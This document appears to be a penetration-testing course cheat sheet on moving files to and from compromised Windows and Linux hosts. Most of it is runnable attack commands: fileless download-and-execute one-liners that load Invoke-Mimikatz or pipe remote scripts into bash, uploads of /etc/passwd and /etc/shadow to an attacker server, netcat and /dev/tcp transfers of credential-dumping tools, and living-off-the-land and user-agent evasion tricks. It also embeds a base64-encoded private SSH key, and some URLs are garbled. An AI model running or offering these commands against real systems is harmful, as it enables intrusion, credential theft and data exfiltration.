Encode SSH Key to Base64
[IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFBQUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUFsd0FBQUFkemMyZ3RjbgpOaEFBQUFBd0VBQVFBQUFJRUF6WjE0dzV1NU9laHR5SUJQSkg3Tm9Yai84YXNHRUcxcHpJbmtiN2hIMldRVGpMQWRYZE9kCno3YjJtd0tiSW56VmtTM1BUR3ZseGhDVkRRUmpBYzloQ3k1Q0duWnlLM3U2TjQ3RFhURFY0YUtkcXl0UTFUQXZZUHQwWm8KVWh2bEo5YUgxclgzVHUxM2FRWUNQTVdMc2JOV2tLWFJzSk11dTJONkJoRHVmQThhc0FBQUlRRGJXa3p3MjFwTThBQUFBSApjM05vTFhKellRQUFBSUVBeloxNHc1dTVPZWh0eUlCUEpIN05vWGovOGFzR0VHMXB6SW5rYjdoSDJXUVRqTEFkWGRPZHo3CmIybXdLYkluelZrUzNQVEd2bHhoQ1ZEUVJqQWM5aEN5NUNHblp5SzN1Nk40N0RYVERWNGFLZHF5dFExVEF2WVB0MFpvVWgKdmxKOWFIMXJYM1R1MTNhUVlDUE1XTHNiTldrS1hSc0pNdXUyTjZCaER1ZkE4YXNBQUFBREFRQUJBQUFBZ0NjQ28zRHBVSwpFdCtmWTZjY21JelZhL2NEL1hwTlRsRFZlaktkWVFib0ZPUFc5SjBxaUVoOEpyQWlxeXVlQTNNd1hTWFN3d3BHMkpvOTNPCllVSnNxQXB4NlBxbFF6K3hKNjZEdzl5RWF1RTA5OXpodEtpK0pvMkttVzJzVENkbm92Y3BiK3Q3S2lPcHlwYndFZ0dJWVkKZW9VT2hENVJyY2s5Q3J2TlFBem9BeEFBQUFRUUNGKzBtTXJraklXL09lc3lJRC9JQzJNRGNuNTI0S2NORUZ0NUk5b0ZJMApDcmdYNmNoSlNiVWJsVXFqVEx4NmIyblNmSlVWS3pUMXRCVk1tWEZ4Vit0K0FBQUFRUURzbGZwMnJzVTdtaVMyQnhXWjBNCjY2OEhxblp1SWc3WjVLUnFrK1hqWkdqbHVJMkxjalRKZEd4Z0VBanhuZEJqa0F0MExlOFphbUt5blV2aGU3ekkzL0FBQUEKUVFEZWZPSVFNZnQ0R1NtaERreWJtbG1IQXRkMUdYVitOQTRGNXQ0UExZYzZOYWRIc0JTWDJWN0liaFA1cS9yVm5tVHJRZApaUkVJTW84NzRMUkJrY0FqUlZBQUFBRkhCc1lXbHVkR1Y0ZEVCamVXSmxjbk53WVdObEFRSURCQVVHCi0tLS0tRU5EIE9QRU5TU0ggUFJJVkFURSBLRVktLS0tLQo="))
Confirming the MD5 Hashes Match
C:\Users\Public\id_rsa -Algorithm md5
Method | Method |
---|---|
OpenRead | Returns the data from a resource as a Stream. |
OpenReadAsync | Returns the data from a resource without blocking the calling thread. |
DownloadData | Downloads data from a resource and returns a Byte array. |
DownloadDataAsync | Downloads data from a resource and returns a Byte array without blocking the calling thread. |
DownloadFile | Downloads data from a resource to a local file. |
DownloadFileAsync | Downloads data from a resource to a local file without blocking the calling thread. |
DownloadString | Downloads a String from a resource and returns a String. |
DownloadStringAsync | Downloads a String from a resource without blocking the calling thread. |
PowerShell DownloadFile Method
We can specify the class name Net.WebClient
and the method DownloadFile
with the parameters corresponding to the URL of the target file to download and the output file name.
File Download
# Example: (New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>')
(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1','C:\Users\Public\Downloads\PowerView.ps1')
# Example: (New-Object Net.WebClient).DownloadFileAsync('<Target File URL>','<Output File Name>')
(New-Object Net.WebClient).DownloadFileAsync('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1', 'PowerViewAsync.ps1')
PowerShell DownloadString
- Fileless Method
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')
IEX
also accepts pipeline input.
(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1') | IEX
PowerShell Invoke-WebRequest
Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1
Common Errors with PowerShell There may be cases when the Internet Explorer first-launch configuration has not been completed, which prevents the download.
This can be bypassed using the parameter -UseBasicParsing
.
Invoke-WebRequest https://<ip>/PowerView.ps1 | IEX Invoke-WebRequest : The response content cannot be parsed because the Internet Explorer engine is not available, or Internet Explorer's first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again. Invoke-WebRequest https://<ip>/PowerView.ps1 -UseBasicParsing | IEX
Another error in PowerShell downloads is related to the SSL/TLS secure channel if the certificate is not trusted. We can bypass that error with the following command:
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
Exception calling "DownloadString" with "1" argument(s): "The underlying connection was closed: Could not establish trust
relationship for the SSL/TLS secure channel."
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
Create the SMB Server
sudo impacket-smbserver share -smb2support /tmp/smbshare
To download a file from the SMB server to the current working directory, we can use the following command:
Copy a File from the SMB Server
copy \\192.168.220.133\share\nc.exe
New versions of Windows block unauthenticated guest access, as we can see in the following command:
copy \\192.168.220.133\share\nc.exe
Create the SMB Server
with a Username and Password
sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test
Mount the SMB Server with Username and Password
net use n: \\192.168.220.133\share /user:test test
Note: You can also mount the SMB server if you receive an error when you use `copy filename \\IP\sharename`.
Installing the FTP Server
Python3 Module - pyftpdlib
sudo python3 -m pyftpdlib --port 21
Transfering Files from an FTP Server
Using PowerShell
(New-Object Net.WebClient).DownloadFile('ftp:https://192.168.49.128/file.txt', 'C:\Users\Public\ftp-file.txt')
Create a Command File for the FTP Client
and Download
the Target File
C:\> echo open 192.168.49.128 > ftpcommand.txt
C:\> echo USER anonymous >> ftpcommand.txt
C:\> echo binary >> ftpcommand.txt
C:\> echo GET file.txt >> ftpcommand.txt
C:\> echo bye >> ftpcommand.txt
C:\> ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.49.128
Log in with USER and PASS first.
ftp> USER anonymous
ftp> GET file.txt
ftp> bye
C:\>more file.txt
This is a test file
Encode File Using PowerShell
[Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte))
Decode Base64 String in Linux
echo IyBDb3B5cmlnaHQgKGMpIDE5OTMtMjAwOSBNaWNyb3NvZnQgQ29ycC4NCiMNCiMgVGhpcyBpcyBhIHNhbXBsZSBIT1NUUyBmaWxlIHVzZWQgYnkgTWljcm9zb2Z0IFRDUC9JUCBmb3IgV2luZG93cy4NCiMNCiMgVGhpcyBmaWxlIGNvbnRhaW5zIHRoZSBtYXBwaW5ncyBvZiBJUCBhZGRyZXNzZXMgdG8gaG9zdCBuYW1lcy4gRWFjaA0KIyBlbnRyeSBzaG91bGQgYmUga2VwdCBvbiBhbiBpbmRpdmlkdWFsIGxpbmUuIFRoZSBJUCBhZGRyZXNzIHNob3VsZA0KIyBiZSBwbGFjZWQgaW4gdGhlIGZpcnN0IGNvbHVtbiBmb2xsb3dlZCBieSB0aGUgY29ycmVzcG9uZGluZyBob3N0IG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgaG9zdCBuYW1lIHNob3VsZCBiZSBzZXBhcmF0ZWQgYnkgYXQgbGVhc3Qgb25lDQojIHNwYWNlLg0KIw0KIyBBZGRpdGlvbmFsbHksIGNvbW1lbnRzIChzdWNoIGFzIHRoZXNlKSBtYXkgYmUgaW5zZXJ0ZWQgb24gaW5kaXZpZHVhbA0KIyBsaW5lcyBvciBmb2xsb3dpbmcgdGhlIG1hY2hpbmUgbmFtZSBkZW5vdGVkIGJ5IGEgJyMnIHN5bWJvbC4NCiMNCiMgRm9yIGV4YW1wbGU6DQojDQojICAgICAgMTAyLjU0Ljk0Ljk3ICAgICByaGluby5hY21lLmNvbSAgICAgICAgICAjIHNvdXJjZSBzZXJ2ZXINCiMgICAgICAgMzguMjUuNjMuMTAgICAgIHguYWNtZS5jb20gICAgICAgICAgICAgICMgeCBjbGllbnQgaG9zdA0KDQojIGxvY2FsaG9zdCBuYW1lIHJlc29sdXRpb24gaXMgaGFuZGxlZCB3aXRoaW4gRE5TIGl0c2VsZi4NCiMJMTI3LjAuMC4xICAgICAgIGxvY2FsaG9zdA0KIwk6OjEgICAgICAgICAgICAgbG9jYWxob3N0DQo= | base64 -d > hosts
md5sum hosts
Installing a Configured WebServer
with Upload
pip3 install uploadserver
python3 -m uploadserver
PowerShell Script to Upload a File
to Python Upload Server
PS C:\> IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
PS C:\> Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts
[+] File Uploaded: C:\Windows\System32\drivers\etc\hosts
[+] FileHash: 5E7241D66FD77E9E8EA866B6278B2373
PowerShell Base64
Web Upload
PS C:\> $b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
PS C:\> Invoke-WebRequest -Uri http://192.168.49.128:8000/ -Method POST -Body $b64
We catch the base64 data with Netcat and use the base64 application with the decode option to convert the string to the file.
nc -lvnp 8000
echo <base64> | base64 -d -w 0 > hosts
An alternative is to run SMB over HTTP with WebDav
. WebDAV
(RFC 4918) is an extension of HTTP, the internet protocol that web browsers and web servers use to communicate with each other. The WebDAV
protocol enables a webserver to behave like a fileserver, supporting collaborative content authoring. WebDAV
can also use HTTPS.
When you use SMB
, it will first attempt to connect using the SMB protocol, and if there’s no SMB share available, it will try to connect using HTTP. In the following Wireshark capture, we attempt to connect to the file share testing3, and because it didn’t find anything with SMB
, it uses HTTP
.
Configuring WebDav Server
Installing WebDav
Python modules
sudo pip install wsgidav cheroot
Using the WebDav
Python module
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
Connecting to the Webdav Share
dir \\192.168.49.128\DavWWWRoot
Uploading Files using SMB
copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\DavWWWRoot\
copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\sharefolder\
We can use PowerShell or the FTP client to complete the operation. Before we start our FTP Server using the Python module pyftpdlib
, we need to specify the option --write
to allow clients to upload files to our attack host.
sudo python3 -m pyftpdlib --port 21 --write
PowerShell Upload File
(New-Object Net.WebClient).UploadFile('ftp:https://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')
Create a Command File
for the FTP Client
to Upload a File
C:\> echo open 192.168.49.128 > ftpcommand.txt
C:\> echo USER anonymous >> ftpcommand.txt
C:\> echo binary >> ftpcommand.txt
C:\> echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
C:\> echo bye >> ftpcommand.txt
C:\> ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.49.128
Log in with USER and PASS first.
ftp> USER anonymous
ftp> PUT c:\windows\system32\drivers\etc\hosts
ftp> bye
Check file md5 hash
md5sum <file>
Encode SSH Key to Base65
cat id_rsa | base64 -w 0; echo
-w 0
to create only one line
Decode file
echo -n '<id_rsa>' | base64 -d > id_rsa
Confirm md5 hashes Match
md5 id_rsa
Downloading using wget
wget <url> -O /tmp/<file>
Downloading using curl
curl -o <file> <url>
Fileless Download with cURL
curl <url> | bash
Fileless Download with wget
wget -q0- <url> | python3
Connect to the Target Webserver
exec 3<>/dev/tcp/<ip>/<port>
HTTP Get Request
echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3
Print the Response
cat <&3
Enabling the SSH Server
sudo systemctl enable ssh
Starting the SSH Server
sudo systemctl start ssh
Checking for SSH Listing Port
netstat -lnpt
Downloading Files Using SCP
scp <user>@<ip>:<file> .
Note: You can create a temporary user account for file transfers and avoid using your primary credentials or keys on a remote computer.
As mentioned in the Windows File Transfer Methods section, we can use uploadserver, an extended module of the Python HTTP.Server
module, which includes a file upload page.
Create Web Server
sudo python3 -m pip install --user uploadserver
Create a Self-Signed Certificate
openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN
Start Web Server
mkdir https && cd https
sudo python3 -m uploadserver 443 --server-certificate /root/server.pem
Upload Multiple File
curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure
Creating a Web Server with Python3
python3 -m http.server
Creating a Web Server with Python2.7
python2.7 -m SimpleHTTPServer
Creating a Web Server with PHP
php -S 0.0.0.0:8000
Creating a Web Server with Ruby
ruby -run -ehttpd . -p8000
Download the File from the Target Machine onto the Hosts
wget 192.168.49.128:8000/filetotransfer.txt
Note: When we start a new web server using Python or PHP, it's important to consider that inbound traffic may be blocked. We are transferring a file from our target onto our attack host, but we are not uploading the file.
File Upload using SCP
scp /etc/passwd <user>@<ip>:/home/plaintext/
Note: Remember that scp syntax is similar to cp or copy.
We can use some Windows default applications, such as cscript
and mshta
, to execute JavaScript or VBScript code. JavaScript can also run on Linux hosts.
Python2 Download
python2.7 -c 'import urllib;urllib.urlretrieve ("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
Python3 Download
python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
PHP Download with File_get_contents()
php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'
PHP Download with Fopen()
php -r 'const BUFFER = 1024; $fremote =
fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
PHP Download a File and Pipe it to Bash
php -r '$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash
Ruby Download a File
ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh")))'
perl -e 'use LWP::Simple; getstore("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh");'
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
Download a File Using JavaScript
and cscript.exe
cscript.exe /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps1
VBScript (“Microsoft Visual Basic Scripting Edition”) is an Active Scripting language developed by Microsoft that is modeled on Visual Basic. VBScript has been installed by default in every desktop release of Microsoft Windows since Windows 98.
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile WScript.Arguments.Item(1), 2
end with
Download a File Using VBScript
and cscript.exe
cscript.exe /nologo wget.vbs https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView2.ps1
Upload Operations using Python3
Starting the Python uploadserver Module
python3 -m uploadserver
Uploading a File Using a Python One-liner
python3 -c 'import requests;requests.post("http:https://192.168.49.128:8000/upload",files={"files":open("/etc/passwd","rb")})'
Let’s divide this one-liner into multiple lines to understand each piece better.
# To use the requests function, we need to import the module first.
import requests
# Define the target URL where we will upload the file.
URL = "http:https://192.168.49.128:8000/upload"
# Define the file we want to read, open it and save it in a variable.
file = open("/etc/passwd","rb")
# Use a requests POST request to upload the file.
r = requests.post(url,files={"files":file})
File Transfer with Netcat
and Ncat
# Example using Original Netcat
nc -l -p 8000 > SharpKatz.exe
Ncat
- Compromised Machine - Listening on Port 8000
# Example using Ncat
ncat -l -p 8000 --recv-only > SharpKatz.exe
Netcat
- Attack Host - Sending File to Compromised machine
wget -q https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_x64/SharpKatz.exe
# Example using Original Netcat
nc -q 0 192.168.49.128 8000 < SharpKatz.exe
Ncat
- Attack Host - Sending File to Compromised machine
wget -q https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_x64/SharpKatz.exe
# Example using Ncat
ncat --send-only 192.168.49.128 8000 < SharpKatz.exe
Attack Host - Sending File as Input to Netcat
# Example using Original Netcat
sudo nc -l -p 443 -q 0 < SharpKatz.exe
Compromised Machine Connect to Netcat
to Receive the File
# Example using Original Netcat
nc 192.168.49.128 443 > SharpKatz.exe
Attack Host - Sending File as Input to Ncat
# Example using Ncat
sudo ncat -l -p 443 --send-only < SharpKatz.exe
Compromised Machine Connect to Ncat
to Receive the File
# Example using Ncat
ncat 192.168.49.128 443 --recv-only > SharpKatz.exe
NetCat
- Sending File as Input to Netcat
# Example using Original Netcat
sudo nc -l -p 443 -q 0 < SharpKatz.exe
Ncat
- Sending File as Input to Netcat
# Example using Ncat
sudo ncat -l -p 443 --send-only < SharpKatz.exe
Compromised Machine Connecting to Netcat
Using /dev/tcp to Receive the File
cat < /dev/tcp/192.168.49.128/443 > SharpKatz.exe
From DC01 - Confirm WinRM port TCP 5985 is Open on DATABASE01.
whoami
ad\administrator
hostname
DC01
Test-NetConnection -ComputerName DATABASE01 -Port 5985
ComputerName : DATABASE01
RemoteAddress : 192.168.1.101
RemotePort : 5985
InterfaceAlias : Ethernet0
SourceAddress : 192.168.1.100
TcpTestSucceeded : True
Because this session already has privileges over DATABASE01, we don’t need to specify credentials. In the example below, a session is created to the remote computer named DATABASE01 and stores the results in the variable named $Session.
Create a PowerShell
Remoting Session to DATABASE01
Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop\
Copy DATABASE.txt from DATABASE01 Session to our Localhost
Copy-Item -Path "C:\Users\Administrator\Desktop\DATABASE.txt" -Destination C:\ -FromSession $Session
If we are connected from Linux, we can use xfreerdp
or rdesktop
. At the time of writing, xfreerdp
and rdesktop
allow copy from our target machine to the RDP session, but there may be scenarios where this may not work as expected.
As an alternative to copy and paste, we can mount a local resource on the target RDP server. rdesktop
or xfreerdp
can be used to expose a local folder in the remote RDP session.
Mounting a Linux Folder Using rdesktop
rdesktop 10.10.10.132 -d HTB -u administrator -p 'Password0@' -r disk:linux='/home/user/rdesktop/files'
Mounting a Linux Folder Using xfreerdp
xfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/plaintext/htb/academy/filetransfer
To access the directory, we can connect to \\tsclient\
, allowing us to transfer files to and from the RDP session.
Alternatively, from Windows, the natie mstsc.exe
remote desktop client can be used.
Note: This drive is not accessible to any other users logged on to the target computer, even if they manage to hijack the RDP session.
Nginx - Enabling PUT
When allowing HTTP
uploads, it is critical to be 100% positive that users cannot upload web shells and execute them. Apache
makes it easy to shoot ourselves in the foot with this, as the PHP
module loves to execute anything ending in PHP
. Configuring Nginx
to use PHP is nowhere near as simple.
Create a Directory to Handle Uploaded
Files
sudo mkdir -p /var/www/uploads/SecretUploadDirectory
Change the Owner to www-data
sudo chown -R www-data:www-data /var/www/uploads/SecretUploadDirectory
Create Nginx Configuration File
server {
listen 9001;
location /SecretUploadDirectory/ {
root /var/www/uploads;
dav_methods PUT;
}
}
Symlink our Site to the sites-enabled Directory
sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/
Start Nginx
sudo systemctl restart nginx.service
If we get any error messages, check /var/log/nginx/error.log
. If using Pwnbox, we will see port 80 is already in use.
Verifying Errors
tail -2 `/var/log/nginx/error.log`
ss -lnpt | grep `80`
ps -ef | grep `2811`
Remove NginxDefault
Configuration
sudo rm /etc/nginx/sites-enabled/default
Now we can test uploading by using cURL
to send a PUT
request. In the below example, we will upload the /etc/passwd
file to the server and call it users.txt
Upload File Using cURL
curl -T /etc/passwd http:https://localhost:9001/SecretUploadDirectory/users.txt
tail -1 /var/www/uploads/SecretUploadDirectory/users.txt
Once we have this working, a good test is to ensure the directory listing is not enabled by navigating to http:https://localhost/SecretUploadDirectory. By default, with Apache
, if we hit a directory without an index file (index.html), it will list all the files. This is bad for our use case of exfilling files because most files are sensitive by nature, and we want to do our best to hide them. Thanks to Nginx
being minimal, features like that are not enabled by default.
The term LOLBins (Living off the Land binaries) came from a Twitter discussion on what to call binaries that an attacker can use to perform actions beyond their original purpose. There are currently two websites that aggregate information on Living off the Land binaries:
Living off the Land binaries can be used to perform functions such as:
- Download
- Upload
- Command Execution
- File Read
- File Write
- Bypasses
Invoke-AESEncryption.ps1
.EXAMPLE
Invoke-AESEncryption -Mode Encrypt -Key "p@ssw0rd" -Text "Secret Text"
Description
-----------
Encrypts the string "Secret Test" and outputs a Base64 encoded ciphertext.
.EXAMPLE
Invoke-AESEncryption -Mode Decrypt -Key "p@ssw0rd" -Text "LtxcRelxrDLrDB9rBD6JrfX/czKjZ2CUJkrg++kAMfs="
Description
-----------
Decrypts the Base64 encoded string "LtxcRelxrDLrDB9rBD6JrfX/czKjZ2CUJkrg++kAMfs=" and outputs plain text.
.EXAMPLE
Invoke-AESEncryption -Mode Encrypt -Key "p@ssw0rd" -Path file.bin
Description
-----------
Encrypts the file "file.bin" and outputs an encrypted file "file.bin.aes"
.EXAMPLE
Invoke-AESEncryption -Mode Decrypt -Key "p@ssw0rd" -Path file.bin.aes
Description
-----------
Decrypts the file "file.bin.aes" and outputs an encrypted file "file.bin"
#>
function Invoke-AESEncryption {
[CmdletBinding()]
[OutputType([string])]
Param
(
[Parameter(Mandatory = $true)]
[ValidateSet('Encrypt', 'Decrypt')]
[String]$Mode,
[Parameter(Mandatory = $true)]
[String]$Key,
[Parameter(Mandatory = $true, ParameterSetName = "CryptText")]
[String]$Text,
[Parameter(Mandatory = $true, ParameterSetName = "CryptFile")]
[String]$Path
)
Begin {
$shaManaged = New-Object System.Security.Cryptography.SHA256Managed
$aesManaged = New-Object System.Security.Cryptography.AesManaged
$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
$aesManaged.BlockSize = 128
$aesManaged.KeySize = 256
}
Process {
$aesManaged.Key = $shaManaged.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Key))
switch ($Mode) {
'Encrypt' {
if ($Text) {$plainBytes = [System.Text.Encoding]::UTF8.GetBytes($Text)}
if ($Path) {
$File = Get-Item -Path $Path -ErrorAction SilentlyContinue
if (!$File.FullName) {
Write-Error -Message "File not found!"
break
}
$plainBytes = [System.IO.File]::ReadAllBytes($File.FullName)
$outPath = $File.FullName + ".aes"
}
$encryptor = $aesManaged.CreateEncryptor()
$encryptedBytes = $encryptor.TransformFinalBlock($plainBytes, 0, $plainBytes.Length)
$encryptedBytes = $aesManaged.IV + $encryptedBytes
$aesManaged.Dispose()
if ($Text) {return [System.Convert]::ToBase64String($encryptedBytes)}
if ($Path) {
[System.IO.File]::WriteAllBytes($outPath, $encryptedBytes)
(Get-Item $outPath).LastWriteTime = $File.LastWriteTime
return "File encrypted to $outPath"
}
}
'Decrypt' {
if ($Text) {$cipherBytes = [System.Convert]::FromBase64String($Text)}
if ($Path) {
$File = Get-Item -Path $Path -ErrorAction SilentlyContinue
if (!$File.FullName) {
Write-Error -Message "File not found!"
break
}
$cipherBytes = [System.IO.File]::ReadAllBytes($File.FullName)
$outPath = $File.FullName -replace ".aes"
}
$aesManaged.IV = $cipherBytes[0..15]
$decryptor = $aesManaged.CreateDecryptor()
$decryptedBytes = $decryptor.TransformFinalBlock($cipherBytes, 16, $cipherBytes.Length - 16)
$aesManaged.Dispose()
if ($Text) {return [System.Text.Encoding]::UTF8.GetString($decryptedBytes).Trim([char]0)}
if ($Path) {
[System.IO.File]::WriteAllBytes($outPath, $decryptedBytes)
(Get-Item $outPath).LastWriteTime = $File.LastWriteTime
return "File decrypted to $outPath"
}
}
}
}
End {
$shaManaged.Dispose()
$aesManaged.Dispose()
}
}
Import Module Invoke-AESEncryption.ps1
Import-Module .\Invoke-AESEncryption.ps1
After the script is imported, it can encrypt strings or files, as shown in the following examples. This command creates an encrypted file with the same name as the encrypted file but with the extension ”.aes.
”
File Encryption Example
Invoke-AESEncryption -Mode Encrypt -Key "p4ssw0rd" -Path .\scan-results.txt
To encrypt a file using openssl
we can select different ciphers, see OpenSSL man page. Let’s use -aes256
as an example. We can also override the default iterations counts with the option -iter 100000
and add the option -pbkdf2
to use the Password-Based Key Derivation Function 2 algorithm. When we hit enter, we’ll need to provide a password.
Encrypting /etc/passwd with openssl
openssl enc -aes256 -iter 100000 -pbkdf2 -in /etc/passwd -out passwd.enc
Decrypt passwd.enc with openssl
openssl enc -d -aes256 -iter 100000 -pbkdf2 -in passwd.enc -out passwd
Invoke-WebRequest - Client
Invoke-WebRequest http://10.10.10.32/nc.exe -OutFile "C:\Users\Public\nc.exe"
Invoke-RestMethod http://10.10.10.32/nc.exe -OutFile "C:\Users\Public\nc.exe"
Invoke-WebRequest - Server
GET /nc.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.14393.0
WinHttpRequest - Client
$h=new-object -com WinHttp.WinHttpRequest.5.1;
$h.open('GET','http:https://10.10.10.32/nc.exe',$false);
$h.send();
iex $h.ResponseText
WinHttpRequest - Server
GET /nc.exe HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Msxml2 - Client
$h=New-Object -ComObject Msxml2.XMLHTTP;
$h.open('GET','http:https://10.10.10.32/nc.exe',$false);
$h.send();
iex $h.responseText
Msxml2 - Server
GET /nc.exe HTTP/1.1 Accept: */* Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E)
Certutil - Client
certutil -urlcache -split -f http:https://10.10.10.32/nc.exe
certutil -verifyctl -split -f http:https://10.10.10.32/nc.exe
Certutil - Server
GET /nc.exe HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Accept: */* User-Agent: Microsoft-CryptoAPI/10.0
BITS - Client
Import-Module bitstransfer; Start-BitsTransfer 'http:https://10.10.10.32/nc.exe' $env:temp\t; $r=gc $env:temp\t; rm $env:temp\t; iex $r
BITS - Server
HEAD /nc.exe HTTP/1.1 Connection: Keep-Alive Accept: */* Accept-Encoding: identity User-Agent: Microsoft BITS/7.8
Listing out User Agents
[Microsoft.PowerShell.Commands.PSUserAgent].GetProperties() | Select-Object Name,@{label="User Agent";Expression={[Microsoft.PowerShell.Commands.PSUserAgent]::$($_.Name)}} | fl
Invoking Invoke-WebRequest to download nc.exe using a Chrome User Agent:
Request with Chrome User Agent
$UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
Invoke-WebRequest http://10.10.10.32/nc.exe -UserAgent $UserAgent -OutFile "C:\Users\Public\nc.exe"
nc -lvnp 80
LOLBAS / GTFOBins
Transferring File with GfxDownloadWrapper.exe
GfxDownloadWrapper.exe "http:https://10.10.10.132/mimikatz.exe" "C:\Temp\nc.exe"
Command | Description |
---|---|
<a href=”Invoke-WebRequest https:///PowerView.ps1 -OutFile PowerView.ps1”>Invoke-WebRequest https://<snip>/PowerView.ps1 -OutFile PowerView.ps1 | Download a file with PowerShell |
<a href=”IEX (New-Object Net.WebClient).DownloadString(‘https:///Invoke-Mimikatz.ps1’)”>IEX (New-Object Net.WebClient).DownloadString(‘https://<snip>/Invoke-Mimikatz.ps1’) | Execute a file in memory using PowerShell |
Invoke-WebRequest -Uri http:https://10.10.10.32:443 -Method POST -Body $b64 | Upload a file with PowerShell |
bitsadmin /transfer n http:https://10.10.10.32/nc.exe C:\Temp\nc.exe | Download a file using Bitsadmin |
certutil.exe -verifyctl -split -f http:https://10.10.10.32/nc.exe | Download a file using Certutil |
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh | Download a file using Wget |
curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | Download a file using cURL |
<a href=”php -r ‘$file = file_get_contents(“https:///LinEnum.sh”); file_put_contents(“LinEnum.sh”,$file);’”>php -r ‘$file = file_get_contents(“https://<snip>/LinEnum.sh”); file_put_contents(“LinEnum.sh”,$file);’ | Download a file using PHP |
scp C:\Temp\bloodhound.zip [email protected]:/tmp/bloodhound.zip | Upload a file using SCP |
scp user@target:/tmp/mimikatz.exe C:\Temp\mimikatz.exe | Download a file using SCP |
